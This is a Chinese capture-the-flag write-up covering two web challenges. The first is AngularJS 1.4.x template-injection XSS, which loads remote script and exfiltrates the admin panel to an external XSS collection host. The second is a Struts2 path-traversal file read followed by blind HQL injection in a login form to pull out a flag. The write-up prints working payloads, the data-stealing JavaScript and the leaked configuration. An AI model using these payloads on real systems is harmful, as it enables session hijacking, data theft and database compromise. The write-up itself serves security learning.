看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章 XSS without HTML: Client-Side Template Injection with AngularJS
1.4.0 - 1.4.9 {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
提交留言即可触发xss,管理员那边也会触发一遍。
这里留言似乎有点过滤,我用base64编码然后利用JQuery的$.getScript函数引用js文件
$.getScript('http://xsspt.com/xxxx'); 编码之后 eval(atob('JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==')); {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(/'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==/'));}}
提交留言然后就打到管理员了
然后发现后台并不在公网上, http://127.0.0.1:1002/admin/
构造payload开始读管理员后台
$.ajax({ url: "/admin", type: "GET", dataType: "text", success: function(result) { var code = btoa(encodeURIComponent(result)); xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code); }, error: function(msg) { } }) function xssPost(url, postStr) { var de; de = document.body.appendChild(document.createElement('iframe')); de.src = 'about:blank'; de.height = 1; de.width = 1; de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>'); de.contentDocument.forms[0].submit(); de.style.display = 'none'; }
在js脚本里写入读取后台页面的代码,提交留言,收到 /admin
页面的内容
在base64跟url解码之后,拿到 /admin
页面
我们可以看到有个文件管理页面,继续修改js访问 /admin/file
这里需要输入文件密码才能访问,我们接下来找一下文件密码
在一开始的首页里有个 min-test.js
,这里泄露了admin模板文件 view/admintest2313.html
,在这个模板中发现一个备忘录的接口
猜测这是在看 admintest2313
用户的备忘录,然后我们从获取到的后台页面中发现了 adminClound
这个用户名
拿到文件密码后,构造post包访问 /admin/file
$.ajax({ url: "/admin/file", type: "POST", data: "filepasswd=HGf%5E%2639NsslUIf%5E23", dataType: "text", success: function(result) { var code = btoa(encodeURIComponent(result)); xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code); }, error: function(msg) { } })
然后直接就打到flag了
拿到题目先扫目录(emmm...),扫到 /list
,访问需要登录,然后抓到个请求 /loadimage?fileName=web_login_bg.jpg
,猜测这是个文件读取漏洞,然后再猜猜他是个java程序,构造路径读取 web.xml
发现是Struts2写的站点,读一下配置文件 ../../WEB-INF/classes/struts.xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts> <constant name="strutsenableDynamicMethodInvocation" value="false"/> <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" /> <constant name="struts.action.extension" value=","/> <package name="front" namespace="/" extends="struts-default"> <global-exception-mappings> <exception-mapping exception="java.lang.Exception" result="error"/> </global-exception-mappings> <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute"> <result name="error">/ctfpage/login.jsp</result> <result name="success">/ctfpage/welcome.jsp</result> </action> <action name="loadimage" class="com.cuitctf.action.DownloadAction"> <result name="success" type="stream"> <param name="contentType">image/jpeg</param> <param name="contentDisposition">attachment;filename="bg.jpg"</param> <param name="inputName">downloadFile</param> </result> <result name="suffix_error">/ctfpage/welcome.jsp</result> </action> </package> <package name="back" namespace="/" extends="struts-default"> <interceptors> <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/> <interceptor-stack name="userAuth"> <interceptor-ref name="defaultStack" /> <interceptor-ref name="oa" /> </interceptor-stack> </interceptors> <action name="list" class="com.cuitctf.action.AdminAction" method="execute"> <interceptor-ref name="userAuth"> <param name="excludeMethods"> execute </param> </interceptor-ref> <result name="login_error">/ctfpage/login.jsp</result> <result name="list_error">/ctfpage/welcome.jsp</result> <result name="success">/ctfpage/welcome.jsp</result> </action> </package> </struts>
根据上面的Action路径,构造读取class文件的路径 ../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
,逐一把上面的class文件都下载一遍,然后再读一下 ../../WEB-INF/classes/applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource"> <property name="driverClassName"> <value>com.mysql.jdbc.Driver</value> </property> <property name="url"> <value>jdbc:mysql://localhost:3306/sctf</value> </property> <property name="username" value="root"/> <property name="password" value="root" /> </bean> <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean"> <property name="dataSource"> <ref bean="dataSource"/> </property> <property name="mappingLocations"> <value>user.hbm.xml</value> </property> <property name="hibernateProperties"> <props> <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop> <prop key="hibernate.show_sql">true</prop> </props> </property> </bean> <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate"> <property name="sessionFactory"> <ref bean="sessionFactory"/> </property> </bean> <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager"> <property name="sessionFactory"> <ref bean="sessionFactory"/> </property> </bean> <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true"> <property name="transactionManager"> <ref bean="transactionManager"/> </property> <property name="transactionAttributes"> <props> <prop key="add">PROPAGATION_REQUIRED</prop> <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop> </props> </property> </bean> <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl"> <property name="hibernateTemplate"> <ref bean="hibernateTemplate"/> </property> </bean> <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl"> <property name="userDao"> <ref bean="userDAO"/> </property> </bean> </beans>
这里是用hibernate框架执行sql,读取一下 ../../WEB-INF/classes/user.hbm.xml
<?xml version="1.0"?> <!DOCTYPE hibernate-mapping PUBLIC "-//Hibernate/Hibernate Mapping DTD 3.0//EN" "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd"> <hibernate-mapping package="com.cuitctf.po"> <class name="User" table="hlj_members"> <id name="id" column="user_id"> <generator class="identity"/> </id> <property name="name"/> <property name="password"/> </class> <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b"> <id name="flag" column="welcometoourctf"> <generator class="identity"/> </id> <property name="flag"/> </class> </hibernate-mapping>
看样子flag在数据库里。接下来继续下载 applicationContext.xml
文件中引用的dao层跟service层的class文件
这里整理出主要的代码片段
//UserLoginAction.class public boolean userCheck(User user) { List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword()); if ((userList != null) && (userList.size() == 1)) { return true; } addActionError("Username or password is Wrong, please check!"); return false; } //UserServiceImpl.class public List <User> loginCheck(String name, String password) { name = name.replaceAll(" ", ""); name = name.replaceAll("=", ""); Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name); Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password); if (password_matcher.find()) { return this.userDao.loginCheck(name, password); } return null; } //UserDaoImpl.class public List <User> loginCheck(String name, String password) { return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'"); }
在 UserServiceImpl.class
这里只检测了password的正则,name只替换了空格跟等号,正则没起作用,所以这里可以注入
在登录处 user.name
注入
user.name=1'or''like''or''like'&user.password=aaaa
这样子直接进入后台,但这不是我们的目标,我们要读取数据库里的flag。可以利用登录判断来进行盲注,获取数据
user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa
然后就跑出用户名为homamamama,这不是重点,我们要读flag。由于这个是hql,很多mysql的特性没法用,只能根据hql的语法构建一个子查询。试了一下 (select name from User)like'%'
可以猜测读取到用户名,但是根据xml的数据表结构读取Flag表 (select flag from Flag)like'%'
却不行。
继续构造注入猜测, (select count(*) from Flag)like'1'
这个可以,说明Flag表里有一条数据。很多人都困在这一步了,读不到Flag表。这里要利用的是hql语句的子查询, (from Flag)like'%'
这样子就可以了,然后构造脚本开始跑Flag就可以了
user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa
最后获取到的flag要将花括号里的转成大写